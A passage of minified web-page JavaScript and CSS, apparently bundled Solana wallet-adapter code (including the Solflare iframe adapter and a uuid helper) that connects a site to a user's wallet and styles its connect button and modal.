Error("Data must be an instance of Uint8Array");return[4,this._sendRequest("sign",{data:i,display:s})];case 1:return a=c.sent(),l=Ro.decode(a.signature),u=new ht(a.publicKey),[2,{signature:l,publicKey:u}]}})})},ywe(n))o._injectedProvider=n;else if(gwe(n))o._providerUrl=new URL(n),o._providerUrl.hash=new URLSearchParams({origin:window.location.origin,network:r}).toString();else throw new Error("provider parameter must be an injected provider or a URL string.");return o._network=r,o._publicKey=null,o._autoApprove=!1,o._popup=null,o._handlerAdded=!1,o._nextRequestId=1,o._responsePromises=new Map,o}return Object.defineProperty(t.prototype,"publicKey",{get:function(){return this._publicKey},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"connected",{get:function(){return this._publicKey!==null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"autoApprove",{get:function(){return this._autoApprove},enumerable:!1,configurable:!0}),t}(iq);function gwe(e){return typeof e=="string"}function ywe(e){return bwe(e)&&Iwe(e.postMessage)}function bwe(e){return typeof e=="object"&&e!==null}function Iwe(e){return typeof e=="function"}var qwe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),Ga=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},Ya=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;s&&(s=0,u[0]&&(n=0)),n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},wwe=function(e){qwe(t,e);function t(n,r,o){var i=e.call(this)||this;return i._instance=null,i.handleMessage=function(s){},i._sendRequest=function(s,a){return Ga(i,void 0,void 0,function(){var l,u;return Ya(this,function(c){switch(c.label){case 0:return!((l=this._instance)===null||l===void 0)&&l.sendRequest?[4,this._instance.sendRequest(s,a)]:[3,2];case 1:return[2,c.sent()];case 2:return!((u=this._instance)===null||u===void 0)&&u._sendRequest?[4,this._instance._sendRequest(s,a)]:[3,4];case 3:return[2,c.sent()];case 4:throw new Error("Unsupported version of `@project-serum/sol-wallet-adapter`")}})})},i._handleConnect=function(){i.emit("connect")},i._handleDisconnect=function(){window.clearInterval(i._pollTimer),i.emit("disconnect")},i._network=r,i._provider=o,i}return Object.defineProperty(t.prototype,"publicKey",{get:function(){return this._instance.publicKey||null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"connected",{get:function(){return this._instance.connected||!1},enumerable:!1,configurable:!0}),t.prototype.connect=function(){return Ga(this,void 0,void 0,function(){var n=this;return Ya(this,function(r){switch(r.label){case 0:return this._instance=new vwe(this._provider,this._network),this._instance.on("connect",this._handleConnect),this._instance.on("disconnect",this._handleDisconnect),this._pollTimer=window.setInterval(function(){var o,i;((i=(o=n._instance)===null||o===void 0?void 0:o._popup)===null||i===void 0?void 0:i.closed)!==!1&&n._handleDisconnect()},200),[4,this._instance.connect()];case 1:return r.sent(),[2]}})})},t.prototype.disconnect=function(){return Ga(this,void 0,void 0,function(){return Ya(this,function(n){switch(n.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return this._instance.removeAllListeners("connect"),this._instance.removeAllListeners("disconnect"),[4,this._instance.disconnect()];case 1:return n.sent(),[2]}})})},t.prototype.signTransaction=function(n){return Ga(this,void 0,void 0,function(){var r;return Ya(this,function(o){switch(o.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return[4,this._sendRequest("signTransactionV2",{transaction:Ro.encode(n)})];case 1:return r=o.sent().transaction,[2,Ro.decode(r)]}})})},t.prototype.signAllTransactions=function(n){return Ga(this,void 0,void 0,function(){var r;return Ya(this,function(o){switch(o.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return[4,this._sendRequest("signAllTransactionsV2",{transactions:n.map(function(i){return Ro.encode(i)})})];case 1:return r=o.sent().transactions,[2,r.map(function(i){return Ro.decode(i)})]}})})},t.prototype.signAndSendTransaction=function(n,r){return Ga(this,void 0,void 0,function(){var o;return Ya(this,function(i){switch(i.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return[4,this._sendRequest("signAndSendTransaction",{transaction:Ro.encode(n),options:r})];case 1:return o=i.sent(),[2,o.signature]}})})},t.prototype.signMessage=function(n,r){return r===void 0&&(r="hex"),Ga(this,void 0,void 0,function(){var o;return Ya(this,function(i){switch(i.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return[4,this._instance.sign(n,r)];case 1:return o=i.sent().signature,[2,Uint8Array.from(o)]}})})},t}(wO);let lh;const Swe=new Uint8Array(16);function Ewe(){if(!lh&&(lh=typeof crypto<"u"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!lh))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return lh(Swe)}const Er=[];for(let e=0;e<256;++e)Er.push((e+256).toString(16).slice(1));function Awe(e,t=0){return Er[e[t+0]]+Er[e[t+1]]+Er[e[t+2]]+Er[e[t+3]]+"-"+Er[e[t+4]]+Er[e[t+5]]+"-"+Er[e[t+6]]+Er[e[t+7]]+"-"+Er[e[t+8]]+Er[e[t+9]]+"-"+Er[e[t+10]]+Er[e[t+11]]+Er[e[t+12]]+Er[e[t+13]]+Er[e[t+14]]+Er[e[t+15]]}const Mwe=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),EE={randomUUID:Mwe};function Cwe(e,t,n){if(EE.randomUUID&&!t&&!e)return EE.randomUUID();e=e||{};const r=e.random||(e.rng||Ewe)();if(r[6]=r[6]&15|64,r[8]=r[8]&63|128,t){n=n||0;for(let o=0;o<16;++o)t[n+o]=r[o];return t}return Awe(r)}var kwe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),nb=function(){return nb=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++){t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},nb.apply(this,arguments)},uu=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},cu=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;s&&(s=0,u[0]&&(n=0)),n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},AE=function(e){kwe(t,e);function t(n,r){var o=this,i;return o=e.call(this)||this,o._publicKey=null,o._messageHandlers={},o.handleMessage=function(s){if(o._messageHandlers[s.id]){var a=o._messageHandlers[s.id],l=a.resolve,u=a.reject;delete o._messageHandlers[s.id],s.error?u(s.error):l(s.result)}},o._sendMessage=function(s){if(!o.connected)throw new Error("Wallet not connected");return new Promise(function(a,l){var u,c,f=Cwe();o._messageHandlers[f]={resolve:a,reject:l},(c=(u=o._iframe)===null||u===void 0?void 0:u.contentWindow)===null||c===void 0||c.postMessage({channel:"solflareWalletAdapterToIframe",data:nb({id:f},s)},"*")})},o._iframe=n,o._publicKey=new ht((i=r==null?void 0:r.toString)===null||i===void 0?void 0:i.call(r)),o}return Object.defineProperty(t.prototype,"publicKey",{get:function(){return this._publicKey||null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"connected",{get:function(){return!0},enumerable:!1,configurable:!0}),t.prototype.connect=function(){return uu(this,void 0,void 0,function(){return cu(this,function(n){return[2]})})},t.prototype.disconnect=function(){return uu(this,void 0,void 0,function(){return cu(this,function(n){switch(n.label){case 0:return[4,this._sendMessage({method:"disconnect"})];case 1:return n.sent(),[2]}})})},t.prototype.signTransaction=function(n){var r;return uu(this,void 0,void 0,function(){var o,i;return cu(this,function(s){switch(s.label){case 0:if(!this.connected)throw new Error("Wallet not connected");s.label=1;case 1:return s.trys.push([1,3,,4]),[4,this._sendMessage({method:"signTransaction",params:{transaction:Ro.encode(n)}})];case 2:return o=s.sent(),[2,Ro.decode(o)];case 3:throw i=s.sent(),new Error(((r=i==null?void 0:i.toString)===null||r===void 0?void 0:r.call(i))||"Failed to sign transaction");case 4:return[2]}})})},t.prototype.signAllTransactions=function(n){var r;return uu(this,void 0,void 0,function(){var o,i;return cu(this,function(s){switch(s.label){case 0:if(!this.connected)throw new Error("Wallet not connected");s.label=1;case 1:return s.trys.push([1,3,,4]),[4,this._sendMessage({method:"signAllTransactions",params:{transactions:n.map(function(a){return Ro.encode(a)})}})];case 2:return o=s.sent(),[2,o.map(function(a){return Ro.decode(a)})];case 3:throw i=s.sent(),new Error(((r=i==null?void 0:i.toString)===null||r===void 0?void 0:r.call(i))||"Failed to sign transactions");case 4:return[2]}})})},t.prototype.signAndSendTransaction=function(n,r){var o;return uu(this,void 0,void 0,function(){var i,s;return cu(this,function(a){switch(a.label){case 0:if(!this.connected)throw new Error("Wallet not connected");a.label=1;case 1:return a.trys.push([1,3,,4]),[4,this._sendMessage({method:"signAndSendTransaction",params:{transaction:Ro.encode(n),options:r}})];case 2:return i=a.sent(),[2,i];case 3:throw s=a.sent(),new Error(((o=s==null?void 0:s.toString)===null||o===void 0?void 0:o.call(s))||"Failed to sign and send transaction");case 4:return[2]}})})},t.prototype.signMessage=function(n,r){var o;return r===void 0&&(r="hex"),uu(this,void 0,void 0,function(){var i,s;return cu(this,function(a){switch(a.label){case 0:if(!this.connected)throw new Error("Wallet not connected");a.label=1;case 1:return a.trys.push([1,3,,4]),[4,this._sendMessage({method:"signMessage",params:{data:n,display:r}})];case 2:return i=a.sent(),[2,Uint8Array.from(Ro.decode(i))];case 3:throw s=a.sent(),new Error(((o=s==null?void 0:s.toString)===null||o===void 0?void 0:o.call(s))||"Failed to sign message");case 4:return[2]}})})},t}(wO);function jc(e){return e.version===void 0}var xwe="1.4.2",Owe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),fd=function(){return fd=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++){t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},fd.apply(this,arguments)},Ts=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},Ns=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;s&&(s=0,u[0]&&(n=0)),n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},zwe=function(e){var t=typeof Symbol=="function"&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&typeof e.length=="number")return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")},Kwe=function(e){Owe(t,e);function t(n){var r=e.call(this)||this;return r._network="mainnet-beta",r._provider=null,r._iframeParams={},r._adapterInstance=null,r._element=null,r._iframe=null,r._connectHandler=null,r._flutterHandlerInterval=null,r._handleEvent=function(o){var i,s,a,l;switch(o.type){case"connect_native_web":{r._collapseIframe(),r._adapterInstance=new wwe(r._iframe,r._network,((i=o.data)===null||i===void 0?void 0:i.provider)||r._provider||"https://solflare.com/provider"),r._adapterInstance.on("connect",r._webConnected),r._adapterInstance.on("disconnect",r._webDisconnected),r._adapterInstance.connect(),r._setPreferredAdapter("native_web");return}case"connect":{r._collapseIframe(),r._adapterInstance=new AE(r._iframe,((s=o.data)===null||s===void 0?void 0:s.publicKey)||""),r._adapterInstance.connect(),r._setPreferredAdapter((a=o.data)===null||a===void 0?void 0:a.adapter),r._connectHandler&&(r._connectHandler.resolve(),r._connectHandler=null),r.emit("connect",r.publicKey);return}case"disconnect":{r._connectHandler&&(r._connectHandler.reject(),r._connectHandler=null),r._disconnected(),r.emit("disconnect");return}case"accountChanged":{!((l=o.data)===null||l===void 0)&&l.publicKey?(r._adapterInstance=new AE(r._iframe,o.data.publicKey),r._adapterInstance.connect(),r.emit("accountChanged",r.publicKey)):r.emit("accountChanged",void 0);return}case"collapse":{r._collapseIframe();return}default:return}},r._handleResize=function(o){o.resizeMode==="full"?o.params.mode==="fullscreen"?r._expandIframe():o.params.mode==="hide"&&r._collapseIframe():o.resizeMode==="coordinates"&&r._iframe&&(r._iframe.style.top=isFinite(o.params.top)?"".concat(o.params.top,"px"):"",r._iframe.style.bottom=isFinite(o.params.bottom)?"".concat(o.params.bottom,"px"):"",r._iframe.style.left=isFinite(o.params.left)?"".concat(o.params.left,"px"):"",r._iframe.style.right=isFinite(o.params.right)?"".concat(o.params.right,"px"):"",r._iframe.style.width=isFinite(o.params.width)?"".concat(o.params.width,"px"):o.params.width,r._iframe.style.height=isFinite(o.params.height)?"".concat(o.params.height,"px"):o.params.height)},r._handleMessage=function(o){var i;if(((i=o.data)===null||i===void 0?void 0:i.channel)==="solflareIframeToWalletAdapter"){var s=o.data.data||{};s.type==="event"?r._handleEvent(s.event):s.type==="resize"?r._handleResize(s):s.type==="response"&&r._adapterInstance&&r._adapterInstance.handleMessage(s)}},r._removeElement=function(){r._flutterHandlerInterval!==null&&(clearInterval(r._flutterHandlerInterval),r._flutterHandlerInterval=null),r._element&&(r._element.remove(),r._element=null)},r._removeDanglingElements=function(){var o,i,s=document.getElementsByClassName("solflare-wallet-adapter-iframe");try{for(var a=zwe(s),l=a.next();!l.done;l=a.next()){var u=l.value;u.parentElement&&u.remove()}}catch(c){o={error:c}}finally{try{l&&!l.done&&(i=a.return)&&i.call(a)}finally{if(o)throw o.error}}},r._injectElement=function(){r._removeElement(),r._removeDanglingElements();var o=fd(fd({},r._iframeParams),{cluster:r._network||"mainnet-beta",origin:window.location.origin||"",title:document.title||"",version:1,sdkVersion:xwe}),i=r._getPreferredAdapter();i&&(o.adapter=i),r._provider&&(o.provider=r._provider);var s=Object.keys(o).map(function(l){return"".concat(l,"=").concat(encodeURIComponent(o[l]))}).join("&"),a="".concat(t.IFRAME_URL,"?").concat(s);r._element=document.createElement("div"),r._element.className="solflare-wallet-adapter-iframe",r._element.innerHTML=`
      <iframe src='`.concat(a,`' referrerPolicy='strict-origin-when-cross-origin' style='position: fixed; top: 0; bottom: 0; left: 0; right: 0; width: 100%; height: 100%; border: none; border-radius: 0; z-index: 99999; color-scheme: auto;' allowtransparency='true'></iframe>
    `),document.body.appendChild(r._element),r._iframe=r._element.querySelector("iframe"),window.fromFlutter=r._handleMobileMessage,r._flutterHandlerInterval=setInterval(function(){window.fromFlutter=r._handleMobileMessage},100),window.addEventListener("message",r._handleMessage,!1)},r._collapseIframe=function(){r._iframe&&(r._iframe.style.top="",r._iframe.style.right="",r._iframe.style.height="2px",r._iframe.style.width="2px")},r._expandIframe=function(){r._iframe&&(r._iframe.style.top="0px",r._iframe.style.bottom="0px",r._iframe.style.left="0px",r._iframe.style.right="0px",r._iframe.style.width="100%",r._iframe.style.height="100%")},r._getPreferredAdapter=function(){return localStorage&&localStorage.getItem("solflarePreferredWalletAdapter")||null},r._setPreferredAdapter=function(o){localStorage&&o&&localStorage.setItem("solflarePreferredWalletAdapter",o)},r._clearPreferredAdapter=function(){localStorage&&localStorage.removeItem("solflarePreferredWalletAdapter")},r._webConnected=function(){r._connectHandler&&(r._connectHandler.resolve(),r._connectHandler=null),r.emit("connect",r.publicKey)},r._webDisconnected=function(){r._connectHandler&&(r._connectHandler.reject(),r._connectHandler=null),r._disconnected(),r.emit("disconnect")},r._disconnected=function(){window.removeEventListener("message",r._handleMessage,!1),r._removeElement(),r._clearPreferredAdapter(),r._adapterInstance=null},r._handleMobileMessage=function(o){var i,s;(s=(i=r._iframe)===null||i===void 0?void 0:i.contentWindow)===null||s===void 0||s.postMessage({channel:"solflareMobileToIframe",data:o},"*")},n!=null&&n.network&&(r._network=n==null?void 0:n.network),n!=null&&n.provider&&(r._provider=n==null?void 0:n.provider),n!=null&&n.params&&(r._iframeParams=fd({},n==null?void 0:n.params)),r}return Object.defineProperty(t.prototype,"publicKey",{get:function(){var n;return((n=this._adapterInstance)===null||n===void 0?void 0:n.publicKey)||null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"isConnected",{get:function(){var n;return!!(!((n=this._adapterInstance)===null||n===void 0)&&n.connected)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"connected",{get:function(){return this.isConnected},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"autoApprove",{get:function(){return!1},enumerable:!1,configurable:!0}),t.prototype.connect=function(){return Ts(this,void 0,void 0,function(){var n=this;return Ns(this,function(r){switch(r.label){case 0:return this.connected?[2]:(this._injectElement(),[4,new Promise(function(o,i){n._connectHandler={resolve:o,reject:i}})]);case 1:return r.sent(),[2]}})})},t.prototype.disconnect=function(){return Ts(this,void 0,void 0,function(){return Ns(this,function(n){switch(n.label){case 0:return this._adapterInstance?[4,this._adapterInstance.disconnect()]:[2];case 1:return n.sent(),this._disconnected(),this.emit("disconnect"),[2]}})})},t.prototype.signTransaction=function(n){return Ts(this,void 0,void 0,function(){var r,o;return Ns(this,function(i){switch(i.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return r=jc(n)?Uint8Array.from(n.serialize({verifySignatures:!1,requireAllSignatures:!1})):n.serialize(),[4,this._adapterInstance.signTransaction(r)];case 1:return o=i.sent(),[2,jc(n)?jr.from(o):Lo.deserialize(o)]}})})},t.prototype.signAllTransactions=function(n){return Ts(this,void 0,void 0,function(){var r,o;return Ns(this,function(i){switch(i.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return r=n.map(function(s){return jc(s)?Uint8Array.from(s.serialize({verifySignatures:!1,requireAllSignatures:!1})):s.serialize()}),[4,this._adapterInstance.signAllTransactions(r)];case 1:if(o=i.sent(),o.length!==n.length)throw new Error("Failed to sign all transactions");return[2,o.map(function(s,a){return jc(n[a])?jr.from(s):Lo.deserialize(s)})]}})})},t.prototype.signAndSendTransaction=function(n,r){return Ts(this,void 0,void 0,function(){var o;return Ns(this,function(i){switch(i.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return o=jc(n)?n.serialize({verifySignatures:!1,requireAllSignatures:!1}):n.serialize(),[4,this._adapterInstance.signAndSendTransaction(o,r)];case 1:return[2,i.sent()]}})})},t.prototype.signMessage=function(n,r){return r===void 0&&(r="utf8"),Ts(this,void 0,void 0,function(){return Ns(this,function(o){switch(o.label){case 0:if(!this.connected)throw new Error("Wallet not connected");return[4,this._adapterInstance.signMessage(n,r)];case 1:return[2,o.sent()]}})})},t.prototype.sign=function(n,r){return r===void 0&&(r="utf8"),Ts(this,void 0,void 0,function(){return Ns(this,function(o){switch(o.label){case 0:return[4,this.signMessage(n,r)];case 1:return[2,o.sent()]}})})},t.prototype.detectWallet=function(n){var r;return n===void 0&&(n=10),Ts(this,void 0,void 0,function(){return Ns(this,function(o){return window.SolflareApp||!((r=window.solflare)===null||r===void 0)&&r.isSolflare?[2,!0]:[2,new Promise(function(i){var s,a;s=setInterval(function(){var l;(window.SolflareApp||!((l=window.solflare)===null||l===void 0)&&l.isSolflare)&&(clearInterval(s),clearTimeout(a),i(!0))},500),a=setTimeout(function(){clearInterval(s),i(!1)},n*1e3)})]})})},t.IFRAME_URL="https://connect.solflare.com/",t}(iq);const Rwe=Object.freeze(Object.defineProperty({__proto__:null,default:Kwe},Symbol.toStringTag,{value:"Module"}));
</script>
    <style rel="stylesheet" crossorigin="">@import"https://fonts.googleapis.com/css2?family=DM+Sans:wght@400;500;700&display=swap";:root{font-family:Inter,system-ui,Avenir,Helvetica,Arial,sans-serif;line-height:1.5;font-weight:400;color-scheme:light dark;color:#ffffffde;background-color:#242424;font-synthesis:none;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline;all:unset}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:"";content:none}table{border-collapse:collapse;border-spacing:0}:root{--swv-button-background-color: #4f46e5;--swv-button-text-color: white;--swv-button-outline-color: #3730a3;--swv-button-hover-background-color: #4338ca;--swv-button-disabled-background-color: #475569;--swv-button-disabled-text-color: #94a3b8;--swv-overlay-background-color: rgba(200, 200, 200, .8);--swv-modal-background-color: white;--swv-modal-text-color: #1f2937;--swv-modal-close-button-background-color: #f3f4f6;--swv-modal-close-button-text-color: #9ca3af;--swv-modal-close-button-hover-text-color: #374151;--swv-modal-button-text-color: #1f2937;--swv-modal-wallet-status-text-color: #64748b;--swv-modal-button-hover-background-color: #f3f4f6;--swv-modal-button-outline-color: var(--swv-button-outline-color);--swv-dropdown-background-color: white;--swv-dropdown-item-hover-background-color: #f3f4f6;--swv-dropdown-text-color: #1f2937;--swm-modal-shadow: 0 25px 25px rgb(0 0 0 / .15);--swm-dropdown-shadow: 0px 10px 20px rgba(0, 0, 0, .3);--swv-button-radius: 6px;--swv-modal-radius: 10px;--swv-dropdown-radius: 10px;--swv-dropdown-item-radius: 6px}.swv-dark{--swv-overlay-background-color: rgba(0, 0, 0, .7);--swv-modal-background-color: #1e293b;--swv-modal-text-color: white;--swv-modal-close-button-background-color: #0f172a;--swv-modal-close-button-text-color: #64748b;--swv-modal-close-button-hover-text-color: white;--swv-modal-button-text-color: white;--swv-modal-wallet-status-text-color: #64748b;--swv-modal-button-hover-background-color: #0f172a;--swv-modal-button-outline-color: white;--swv-dropdown-background-color: #1e293b;--swv-dropdown-item-hover-background-color: #334155;--swv-dropdown-text-color: white;--swm-modal-shadow: 0px 8px 20px rgba(0, 0, 0, .6)}.swv-button{background-color:transparent;border:none;color:var(--swv-button-text-color);cursor:pointer;display:flex;align-items:center;font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:16px;font-weight:600;height:48px;line-height:48px;padding:0 24px;border-radius:var(--swv-button-radius)}.swv-button>*+*{margin-left:12px}.swv-button-trigger{background-color:var(--swv-button-background-color)}.swv-button:not([disabled]):focus-visible{outline-color:var(--swv-button-outline-color)}.swv-button:not([disabled]):hover{background-color:var(--swv-button-hover-background-color)}.swv-button[disabled]{background:var(--swv-button-disabled-background-color);color:var(--swv-button-disabled-text-color);cursor:not-allowed}.swv-button-icon,.swv-button-icon img{display:flex;align-items:center;justify-content:center;width:24px;height:24px}.swv-dropdown{position:relative;display:inline-block}.swv-dropdown-list{position:absolute;z-index:99;display:grid;grid-template-rows:1fr;grid-row-gap:10px;padding:10px;top:100%;right:0;margin:0;list-style:none;background:var(--swv-dropdown-background-color);color:var(--swv-dropdown-text-color);border-radius:var(--swv-dropdown-radius);box-shadow:var(--swm-dropdown-shadow);opacity:0;visibility:hidden;transition:opacity .2s ease,transform .2s ease,visibility .2s;font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif}.swv-dropdown-list-active{opacity:1;visibility:visible;transform:translateY(10px)}.swv-dropdown-list-item{display:flex;flex-direction:row;justify-content:center;align-items:center;border:none;outline:none;cursor:pointer;white-space:nowrap;box-sizing:border-box;padding:0 20px;width:100%;border-radius:var(--swv-dropdown-item-radius);font-size:14px;font-weight:500;height:37px}.swv-dropdown-list-item:not([disabled]):hover{background-color:var(--swv-dropdown-item-hover-background-color)}.swv-modal-collapse-button{justify-content:space-between;border-radius:0px 0px var(--swv-modal-radius) var(--swv-modal-radius)}.swv-modal-collapse-button svg{transition:transform ease-in .15s;align-self:center;fill:#999}.swv-modal-collapse-button.swv-modal-collapse-button-active svg{transform:rotate(180deg)}.swv-modal{position:fixed;top:0;left:0;right:0;bottom:0;opacity:1;transition:opacity linear .15s;z-index:1040;overflow-y:auto}.swv-modal-logo-wrapper{padding:60px 60px 0}.swv-modal-logo{max-width:100%;max-height:100px}.swv-modal-button-close{display:flex;align-items:center;justify-content:center;position:absolute;top:18px;right:18px;padding:12px;cursor:pointer;background:var(--swv-modal-close-button-background-color);color:var(--swv-modal-close-button-text-color);border:none;border-radius:50%}.swv-modal-button-close:hover{color:var(--swv-modal-close-button-hover-text-color)}.swv-modal-button-close:focus-visible{outline-color:var(--swv-modal-button-outline-color)}.swv-modal-button-close svg{fill:currentColor;transition:fill .2s ease 0s}.swv-modal-overlay{background:var(--swv-overlay-background-color);position:fixed;top:0;left:0;bottom:0;right:0}.swv-modal-container{display:flex;margin:3rem;min-height:calc(100vh - 6rem);align-items:center;justify-content:center}@media (max-width: 480px){.swv-modal-container{margin:1rem;min-height:calc(100vh - 